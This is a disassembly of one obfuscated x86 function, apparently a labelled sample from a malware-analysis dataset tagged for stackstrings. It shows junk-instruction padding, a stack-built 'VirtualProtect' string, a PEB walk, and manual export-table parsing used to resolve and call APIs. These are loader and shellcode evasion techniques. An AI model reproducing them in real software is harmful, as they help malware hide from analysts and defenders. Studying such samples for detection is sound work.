Function at 0x6c95d385
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec dword [ebx - 0x198b7b]
dec dword [ecx - 0x16037b]
call dword [edi + 0x57]
add esp, 4
and edi, 0x59b7
jmp 0x6c95cc0f
call 0x6c95cc1b
add byte [0x364c393e], dh
xor al, 0x83
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [ebx + 0x47], al
dec esi
dec esi
inc esp
aas
cmp al, byte [ebx - 0x7ca0fb3c]
mov ebp, 0xffffe9fc
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2d4], 0
jmp 0x6c95ceee
push ecx
jmp 0x6c95cef7
pop ecx
push ebx
xor ebx, 0x7e1d
xor ebx, 0x10d58
pop ebx
push esi
push ebx
add esp, 4
xor esi, 0x1764f
jmp 0x6c95cf19
or esi, 0x1192
pop esi
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push edx
call 0x6c95cf40
add byte [esi + 0x38], al
dec eax
xor esi, dword [edi + ecx*2]
dec edi
xor bh, byte [eax]
add esp, 4
jmp 0x6c95cf4c
xor edx, 0x91ab
add edx, 0x46fe
pop edx
push ecx
jmp 0x6c95cf60
pop ecx
mov dword [ebp - 0x774], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1610], edx
cmp dword [ebp - 0x1610], 0
jne 0x6c95cf91
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x6c95d282
mov ecx, dword [ebp - 0x1610]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1614], edx
jne 0x6c95cfb9
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x6c95d282
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1614]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1618], ecx
cmp dword [ebp - 0x1618], 0
jne 0x6c95cfeb
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
jmp 0x6c95d282
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1618]
mov dword [ebp - 0x768], eax
jne 0x6c95d010
mov ecx, dword [ebp - 0x774]
mov dword [ebp - 0x514], ecx
jmp 0x6c95d282
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1990], eax
mov ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1994], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1998], ecx
mov dword [ebp - 0x76c], 0
jmp 0x6c95d06a
mov edx, dword [ebp - 0x76c]
add edx, 1
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x76c]
cmp ecx, dword [eax + 0x18]
jae 0x6c95d276
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x1990]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x770], ecx
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x1994]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1998]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1d20], eax
mov dword [ebp - 0x198], 0
jmp 0x6c95d0da
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x6c95d18c
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
test edx, edx
je 0x6c95d18c
push eax
add eax, 0xb3db
and eax, 0x6505
xor eax, 0x7eb8
or eax, 0xc0b0
pop eax
push ecx
push ebx
add esp, 4
add ecx, 0xca9a
add ecx, 0xe5bf
add ecx, 0xb509
pop ecx
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
test byte [0xfffff784], dl
cmp ecx, eax
je 0x6c95d17e
mov ecx, dword [ebp - 0x770]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x87c]
cmp edx, ecx
jne 0x6c95d185
jmp 0x6c95d0cb
jmp 0x6c95d18c
push ecx
push edx
add esp, 4
xor ecx, 0x11a9b
and ecx, 0x1bb0
jmp 0x6c95d1a5
or ecx, 0x26f8
pop ecx
push edi
push ecx
add esp, 4
and edi, 0x5d94
jmp 0x6c95d1bd
pop edi
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
cmp eax, edx
jne 0x6c95d1eb
mov dword [ebp - 0xcbc], 0
jmp 0x6c95d25a
push edi
call 0x6c95d1fb
add byte [ecx + 0x3d], al
dec ebp
cmp ecx, dword [edx + 0x3b]
cmp byte [ecx], bh
inc esi
add esp, 4
pop edi
push ecx
push edi
add esp, 4
add ecx, 0x2888
add ecx, 0xdec0
pop ecx
push ecx
push eax
add esp, 4
and ecx, 0x4fc5
pop ecx
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
or eax, 0x20
cmp ecx, eax
jge 0x6c95d250
mov dword [ebp - 0xcbc], 0xffffffff
jmp 0x6c95d25a
mov dword [ebp - 0xcbc], 1
cmp dword [ebp - 0xcbc], 0
jne 0x6c95d271
mov ecx, dword [ebp - 0x1d20]
mov dword [ebp - 0x514], ecx
jmp 0x6c95d282
jmp 0x6c95d05b
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x7a0], eax
push ecx
push eax
add esp, 4
or ecx, 0xb533
pop ecx
push edx
xor edx, 0x16503
and edx, 0x23ef
pop edx
push ebx
push ecx
add esp, 4
xor ebx, 0x31c5
xor ebx, 0xce99
or ebx, 0xc60e
pop ebx
mov ecx, dword [ebp - 0x3e4]
add ecx, 0xe
mov dword [ebp - 0x19e8], ecx
push edx
add edx, 0x11004
pop edx
push edi
xor edi, 0x16737
pop edi
push edx
add edx, 0x12577
xor edx, 0x15442
xor edx, 0xa420
sub edx, 0xb2ed
pop edx
push edi
or edi, 0x12646
pop edi
cmp dword [ebp - 0x3e4], 0
je 0x6c95d313
cmp dword [ebp - 0xac4], 0
jne 0x6c95d359
push esi
push ecx
add esp, 4
and esi, 0x35b6
add esi, 0x16bd3
jmp 0x6c95d32c
or esi, 0x985e
pop esi
push edx
push ecx
add esp, 4
add edx, 0x1128a
or edx, 0x6db7
pop edx
mov edx, dword [ebp - 0x7a0]
mov dword [ebp - 0x199c], edx
push 0
call dword [ebp - 0x199c]
mov dword [ebp - 0x20b4], 0xa
push esi
jmp 0x6c95d369
pop esi
push edi
push eax
add esp, 4
add edi, 0x17ab2
call 0x6c95d385
add byte [ebx], bh
xor eax, 0x46484b43
inc ebx
dec edi
dec ebx
dec esi
add esp, 4
jmp 0x6c95d38e
and edi, 0x2002
pop edi
mov eax, dword [ebp - 0x3e4]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ed], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x169c], edx
mov dword [ebp - 0xcec], 0
push ecx
xor ecx, 0x5ad4
xor ecx, 0x361
xor ecx, 0x14ba6
and ecx, 0xd8a5
pop ecx
push edi
push esi
add esp, 4
xor edi, 0x9fc
add edi, 0x12631
and edi, 0x125e0
pop edi
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
push ebx
push eax
add esp, 4
xor ebx, 0xf668
pop ebx
push eax
call 0x6c95d478
add byte [ebp + 0x33], cl
inc edi
xor eax, 0x43433840
cmp dword [ebx - 0x7d], ecx
les eax, [ebx + ebp*8]
add esi, dword [edi]
cmp dword [esi - 0x7f], ecx
lock xor dword [edx], eax
add byte [eax], al
xor eax, 0x13dda
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19a4], edx
mov eax, dword [ebp - 0x19a4]
mov dword [ebp - 0x161c], eax
push esi
xor esi, 0xeb93
call 0x6c95d4ca
add byte [edx + edi + 0x33], cl
dec edx
cmp al, byte [esi + eax*2 + 0x34]
xor al, 0x83
les eax, [esi + ebx*2]
push eax
push ebx
add esp, 4
add eax, 0xb883
pop eax
push eax
push esi
add esp, 4
or eax, 0x2dfa
pop eax
cmp dword [ebp - 0x161c], 0
jne 0x6c95d4fe
mov dword [ebp - 0x2f4], 0
jmp 0x6c95d7a5
mov ecx, dword [ebp - 0x161c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc8], eax
push esi
call 0x6c95d520
add byte [edx + 0x4e], al
push eax
inc ecx
aaa
cmp byte [edx + esi], dh
dec eax
add esp, 4
pop esi
push ebx
push esi
add esp, 4
jmp 0x6c95d52f
sub ebx, 0x1a9e
or ebx, 0x1e38
or ebx, 0x10ff2
pop ebx
cmp dword [ebp - 0xcc8], 0
jne 0x6c95d55a
mov dword [ebp - 0x2f4], 0
jmp 0x6c95d7a5
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x518], ecx